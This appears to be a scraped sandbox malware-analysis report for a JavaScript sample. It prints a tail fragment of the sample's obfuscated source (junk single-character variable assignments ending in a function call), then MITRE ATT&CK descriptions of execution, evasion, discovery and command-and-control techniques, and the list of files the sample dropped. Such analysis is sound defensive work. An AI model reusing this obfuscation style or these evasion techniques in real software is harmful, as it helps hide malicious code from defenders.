1363	iueaoq = "t";
1364	iueaoq = "r";
1365	iueaoq = "Q";
1366	iueaoq = "y";
1367	iueaoq = "T";
1368	iueaoq = "C";
1369	iueaoq = "j";
1370	iueaoq = "h";
1371	iueaoq = "K";
1372	iueaoq = "g";
1373	iueaoq = "U";
1374	iueaoq = "w";
1375	iueaoq = "d";
1376	iueaoq = "X";
1377	iueaoq = "q";
1378	iueaoq = "d";
1379	iueaoq = "q";
1380	iueaoq = ":";
1381	trnrncp = "e";
1382	trnrncp = "h";
1383	trnrncp = "L";
1384	trnrncp = "Y";
1385	trnrncp = "G";
1386	trnrncp = "e";
1387	trnrncp = "S";
1388	trnrncp = "e";
1389	trnrncp = "k";
1390	trnrncp = "b";
1391	trnrncp = "y";
1392	trnrncp = "j";
1393	trnrncp = "g";
1394	trnrncp = "A";
1395	trnrncp = "T";
1396	trnrncp = "p";
1397	trnrncp = "l";
1398	trnrncp = "G";
1399	trnrncp = "R";
1400	trnrncp = "G";
1401	trnrncp = "L";
1402	trnrncp = "h";
1403	trnrncp = "c";
1404	trnrncp = "M";
1405	trnrncp = "t";
1406	trnrncp = "z";
1407	trnrncp = "Q";
1408	trnrncp = "F";
1409	trnrncp = "r";
1410	trnrncp = "b";
1411	trnrncp = "C";
1412	trnrncp = "e";
1413	trnrncp = "r";
1414	trnrncp = "U";
1415	trnrncp = "c";
1416	trnrncp = "U";
1417	trnrncp = "P";
1418	trnrncp = "I";
1419	trnrncp = "J";
1420	trnrncp = "S";
1421	trnrncp = "s";
1422	jqvnvmt = "j";
1423	jqvnvmt = "z";
1424	jqvnvmt = "e";
1425	jqvnvmt = "p";
1426	jqvnvmt = "F";
1427	jqvnvmt = "D";
1428	jqvnvmt = "H";
1429	jqvnvmt = "F";
1430	jqvnvmt = "L";
1431	jqvnvmt = "g";
1432	jqvnvmt = "n";
1433	jqvnvmt = "T";
1434	jqvnvmt = "y";
1435	jqvnvmt = "W";
1436	jqvnvmt = "B";
1437	jqvnvmt = "e";
1438	jqvnvmt = "x";
1439	jqvnvmt = "S";
1440	jqvnvmt = "b";
1441	jqvnvmt = "d";
1442	yzwkqnbav = "F";
1443	yzwkqnbav = "R";
1444	yzwkqnbav = "i";
1445	yzwkqnbav = "l";
1446	yzwkqnbav = "O";
1447	yzwkqnbav = "j";
1448	yzwkqnbav = "Z";
1449	yzwkqnbav = "V";
1450	yzwkqnbav = "v";
1451	yzwkqnbav = "V";
1452	yzwkqnbav = "L";
1453	yzwkqnbav = "e";
1454	yzwkqnbav = "T";
1455	yzwkqnbav = "l";
1456	yzwkqnbav = "N";
1457	yzwkqnbav = "U";
1458	yzwkqnbav = "U";
1459	bxsmfog = "O";
1460	bxsmfog = "C";
1461	bxsmfog = "I";
1462	bxsmfog = "R";
1463	bxsmfog = "V";
1464	bxsmfog = "u";
1465	bxsmfog = "W";
1466	bxsmfog = "j";
1467	bxsmfog = "D";
1468	bxsmfog = "W";
1469	bxsmfog = "i";
1470	bxsmfog = "G";
1471	bxsmfog = "z";
1472	bxsmfog = "g";
1473	bxsmfog = "y";
1474	bxsmfog = "h";
1475	bxsmfog = "k";
1476	bxsmfog = "H";
1477	bxsmfog = "C";
1478	bxsmfog = "w";
1479	bxsmfog = "J";
1480	bxsmfog = "D";
1481	bxsmfog = "C";
1482	bxsmfog = "r";
1483	durceqrot ( );	durceqrot() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 129415641190368510.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\489aab95-ae92-4629-a43c-f364ffd69cd8.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5448

Windows Analysis Report
129415641190368510.js